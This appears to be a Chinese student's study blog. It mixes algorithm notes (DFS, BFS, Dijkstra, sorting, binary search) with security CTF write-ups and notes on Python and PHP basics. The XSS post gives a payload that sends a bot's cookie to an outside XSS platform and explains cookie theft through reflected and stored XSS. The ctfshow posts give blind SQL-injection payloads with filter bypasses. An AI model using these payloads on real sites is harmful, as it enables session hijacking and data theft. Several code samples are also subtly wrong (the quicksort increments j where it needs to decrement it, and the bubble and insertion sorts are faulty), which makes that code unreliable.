搜索与图论

学习内容：DFS, BFS, Dijstra ford,spfa,Floyd,prim,kuuskal算法，图论。点击这里开始学习。

一、深度优先搜索

递归实现深度优先搜索，适用于全排列。著名问题有n-皇后问题。

void dfs(){
    /*结束条件*/
    for(){/*遍历下一个*/
        if(/*筛选条件*/){
            /*改变现场*/
        	dfs();
            /*恢复现场*/
        }
    }
}

二、广度优先搜索

通过队列实现每一级的搜索，可以解决最短路的问题。比如走迷宫，华容道问题。遍历每一个结点，然后由结点产生下一个结点。判断该点是否符合题意

void bfs(){
    queue<int> q;
    while(/*遍历结点一般是q.size()*/){
    	int t=q.fornt();
        q.pop();
        if(/*判断t能否符合题意*/)
        for(/*遍历t能产生的结点*/) 
            /*加入队列*/
    }
    
}

三、Dijkstra算法

先找到距离顶点最短且没有被标记的点，用该点更新所有的点，把改点当成中间点，标记该点。时间复杂度O(mlog(n))
d[v]表示v到根的的距离
if (d[v] > d[u] + g[u][v] && g[u][v] != INF) 
            d[v] = d[u] + g[u][v];

算法笔记

2021-01-28

~~学习一些入门算法应该不会很难吧，哈哈(C++)~~

快排

假设q[n]是一个整数数组需要排序

void quicksort(int q[],int l,int r)
{
     if (l >= r) return;
     int mid = q[l];
     int i = l - 1, j = r + 1;
     while (l < r)
    {
         do { i++; }
         while (q[i] < mid);
         do { j++; }
         while (q[j] > mid);
         if (i < j) swap(q[i], q[j]);
    }
     quicksort(q, l, j); //这时不能用i-1，因为最后不一定就是i>j也可能是i=j，就可能i-1会比l小
     quicksort(q, j + 1, r); //
}

归并

分两步：递归和合并

void merge(int q[], int l, int r)
{
    if (l >= r)
        return;
    int mid = l + r >> 1;
    merge(q, l, mid);//一开始就要递归
    merge(q, mid + 1, r);
    for (int i = l; i <= r; i++)//把q数组l到r的内容复制到p
        p[i] = q[i];
    int i = l, j = mid + 1, x = l;
    while (i <= mid && j <= r)//进行合并，循环条件是两部分没有到端点
    {
        if (p[i] < p[j])//把的那个放入q中
            q[x++] = p[i++];
        else
            q[x++] = p[j++];
    }
    if (i <= mid)//如果一方没到终点则直接放到q后面
    {
        while (i <= mid)
            q[x++] = p[i++];
    }
    else
        while (j <= r)
            q[x++] = p[j++];
}

整数二分

1.从左往右逼近

解释：1 2 2 2 2 2 3，在这里面找2的话，二分肯定要取1到2，或者是2到3这个区间，但是不可能找到2到2这个区间，所以会失去一些数

int half(int q[], int l, int r, int x)
{ //找x
    int mid = l + r >> 1;
    while (l < r)
    {
        mid = l + r + 1 >> 1;
        if (q[mid] <= x)
            l = mid;
        else
            r = mid - 1;
    }
    cout << r;
}

2.从右往左逼近

int half(int q[], int l, int r, int x)
{ //找x
    int mid ;
    while (l < r)
    {
        mid = l + r  >> 1;
        if (q[mid] >=x)
            r = mid;
        else
            l = mid+1;
    }
    cout << l;
}

xss

2020-11-23

原理好像比较简单，用js来完成。

直接上代码：

当我们输入<script>alert(‘xss’)</script>将会发生弹窗，这就是基本的原理。

ctfhub xss 反射型：

目的：得到cookie

得到题目：

XSS_Reflex1

注册一个xss平台 xss platform

https://xss.pt/xss.php?do=project&act=viewcode&id=17294

在sent url to bot 构建当前url+name=<Img sRC=https://xss.pt/dQHWp.jpg> 即可在平台得到接收内容。

我们对xss已经有了简单的了解。

xss分为简单的三种：

一、xss反射型原理：

对普通的用户输入，页面原样输出，用户通过对JSCODE的伪装，经过一些操作就会跳出一个木马界面，取得登录用户的Cookie.

比如说我建立了一个网站，还有一个其他人的网站有xss漏洞，在用户访问漏洞网站后，我就可以诱导用户去点击我的网站，我的网站就可以用javascript利用浏览器去访问漏洞网站，然后让其访问我的服务器，从而得到cookie。

二、存储型XSS：

<持久化> 代码是存储在服务器中的，如在个人信息或发表文章等地方，加入代码，如果没有过滤或过滤不严，那么这些代码将储存到服务器中，每当有用户访问该页面的时候都会触发代码执行，这种XSS非常危险，容易造成蠕虫，大量盗窃cookie（虽然还有种DOM型XSS，但是也还是包括在存储型XSS内）。

三、跨站脚本漏洞测试流程

1.在目标站点上找到输入点，比如查询接口，留言板等
2.输入一组”特殊字符+唯一识别字符”，点击提交后，查看返回源码，是否有做对应的处理。
3.通过搜索定位到唯一字符，结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合)
4.提交构造的脚本代码以及各种绕过姿势，看是否可以成功执行，如果成功执行则说明存在xss漏洞
Tips:
1.一般查询接口容易出现反射型xss,留言板容易出现存储型xss
2.由于后台可能存在过滤措施，构造的script可能会被过滤掉，而无法生效或者环境限制了执行。
3.通过变化不同的script，尝试绕过后台过滤机制。

ctfshow刷题记录

2020-11-15

web入门180：

这处过滤了#，/**/，%00，%a0,– ,空格，

注释都过滤了，还有空格。

我们可以构造 a’or(id>?)||’1’=’0 来达到目的。

第一个引号闭合之前的，不能用空格就用(),其中||是或的意思，但是我查了好久，网上说是连接符。

这样就可以达到闭合后面的 ‘ ,因为有limit 1所以要一个一个尝试，尝试一下23发现有flag.

flag{1f9a4c19-c8ab-4319-923d-6febe6199368}

web入门181：

和180一样，

web入门182：

和180一样，

web入门183：

不过你可以改43到127为flag的穷举形式，我难得改了。

web入门184：

构造playload：tableName=ctfshow_user a join ctfshow_user b on if(b.id>23,if(a.id>23,if(ascii(substr(b.pass,1,1))>102,1,0),0),0)

取别名a,b然后发现and or被禁用了，但是我们可以用if语句达到相同的效果。

web入门185:

他把数字禁掉了，就很过分。但是我们也有办法，就是用true和false代替，我不知道其他大佬是怎么写的，我感觉我的方法有一点low。把payload对应的数换成对应的true相加。

web入门186:

他把大于号，小于号禁用了，但是我们可以用round(x/2y)来判断x和y 是否相等，其实不用round也行，这个是四舍五入，于是人为的比较了大小。一下是payload

payload = {‘tableName’: ‘’’ctfshow_user a join ctfshow_user b on if(round(b.id/%s),if(round(a.id/%s),if(round(ascii(substr(b.pass,%s,true))/%s),true,false),false),false)’’’ % (‘(‘+’true+’*44+’true)’,’(‘+’true+’*44+’true)’, ‘(‘+’true+’*(j-1)+’true)’, ‘(‘+’true+’*(2*i-1)+’true)’)}

得到flag

记得结果要i-1.

命令执行

2020-11-09

一、命令执行漏洞

配上链接命令执行&代码执行漏洞

成因：一般是服务器没对用户提交的参数进行严格的过滤，这个参数要带入执行系统命令的函数中。

常见的有

(1) system(),

该函数会把执行结果输出，并把输出结果的最后一行作为字符串返回，如果执行失败则返回false

(2) passthru(),

此函数只调用命令，并把运行结果原样地直接输出，该函数没有返回值。

(3) exec()

不输出结果，返回执行结果的最后一行

(4) shell_exec()

不输出结果，返回执行结果；一般和echo 一起使用。

二、代码执行漏洞

(1)、常见的有eval() assert()

eval()里的参数是php代码，可以是多条代码，但是必须是没错的，需要分号结尾，但是在实战中他会把;号过滤掉，可以用?>来结束语句，这时就只能执行一句了。

assert ( mixed $assertion [, string $description ] ) 如果assertion是字符串，它将会被 assert() 当做 PHP 代码来执行,如果 assertion 失败了，选项 description 将会包括在失败信息里。

(2)、回调函数

call_user_func()

call_user_func_array()

array_map()

这三个函数的作用是调用其他函数。

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] )

第一个参数是要回调的函数，函数名。第二个是要传入的参数。

mixed call_user_func_array() 和上一个不同的是，第二个参数是以数组的形式

array array_map ( callable $callback , array $array1 [, array $… ] )

callback：要回调的函数,array1：数组，遍历运行 callback 函数

(3) 、preg_replace()函数

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

此函数可以用来执行一个正则表达式的搜索和替换。

$pattern: 正则表达式匹配的内容

$replacement: 用于替换的字符串或字符串数组。

$subject: 要搜索替换的目标字符串或字符串数组。

当$pattern存在 /e 模式修正符，允许代码执行

python的学习

2020-09-08

列表：

他长这样：list1=[‘google’,’facebook’,2,3] list2=[[23],”34”]

可拼接，可嵌套，可乘

list1+list2: [‘google’,facebook’,2,3,[23],”34]

list2[1][1]: 23

list1*2: [‘google’,facebook’,2,3,’google’,facebook’,2,3]

元组：

他长这样：tup1=(‘google’,’facebook’,2,3) tup2=(1,2,3,4) tup=()(空元组)

不同于列表，元组的元素不能修改。元组中只包含一个元素时，需要在元素后面添加逗号，否则括号会被当作运算符使用：tup=(30) type(tup):<class ‘int’>

元组中的元素值是不允许删除的，但我们可以使用del语句来删除整个元组

集合：

集合（set）是一个无序的不重复元素序列。

可以使用大括号 { } 或者 set() 函数创建集合，注意：创建一个空集合必须用 set() 而不是 { }，因为 { } 是用来创建一个空字典。他长这样：a={value0,value1,….} 或者set(value) 这个value必须是可迭代的，如果是字典，则只将键输入集合。

判断元素是否在集合中存在

x in s

排序算法：

#冒泡排序 def mm(li): for i in range(len(li)-1) : for j in range(len(li)-1-i): if(li[j]>li[i]): li[j],li[i]=li[i],li[j] return li #插入排序 def ins(li): for i in range(1,len(li)): t=li[i] j=i-1 while(j>=0and t<li[j]): li[j+1]=li[j] li[j]=t j-=i return li

#选择排序简化版my def sort(li): for i in range(len(li)): for j in range(i+1,len(li)): if li[j]>li[i] : li[i],li[j]=li[j],li[i] return li li=[1,2,4,24,6,3,57,4,29] print(sort(li)) #快速排列 def quicks(li): if len(li)>=2: mid=li[len(li)//2] left,right=[],[] li.remove(mid) for i in li: if i<mid: left.append(i) else: right.append(i) return quicks(left)+[mid]+quicks(right) else: return li

我感觉就选择排序最简单，最好记，我简化了一下。其他的排序算法太难记了，我看的头大。

PHP的学习

2020-07-26

想了想，还是我太菜了，写不出什么东西来，但是又想更新一下blog。

学习PHP

我们先配置环境（好像我配置了好多东西了，但是搞不懂原理），这个下一个phpstudy_pro会更简单。可访问CSDN 进行学习配置。

推荐book：

一、php的标记风格

xml风格标记 <?php php的代码 ?>（这个还要转义才能在md显示，唉）

推荐xml 风格的PHP标记，还有<script language=”php”> php代码 </script>

其他的需要配置。

二、PHP的注释

单行注释 //

多行注释 /* ~~ */

#风格注释

注意：不要在单行注释中出现？>

三、PHP的数据类型

标量数据类型：

boolean(布尔型) $boo=true;(true ,false)

string(字符串型) $a=’字符串’;

integer（整型） $a=1234556;

float（浮点型） $a=23.5;

复合数据类型：

array(数组) $array=array(‘value1’,’value2’,,,,);

$array[key]=’value’ $array=array(key1=>value1,key2=>walue2)

key是数组下标，在 PHP 数组中，无论什么类型的键名都会有一个值与其相对应，即一个键/值对，根据数组键名数据类型的不同，我们可以把 PHP 数组分为两种：以数字作为键名的称为索引数组（Indexed Array）；以字符串或字符串、数字混合为键名的数组称为关联数组（Associative Array）。

object(对象)

特殊数据类型：

resource(资源)（句柄，保存了到外部资源的引用）

null(空值) 包括：还没赋任何值、被赋值null、被unset()函数处理过的变量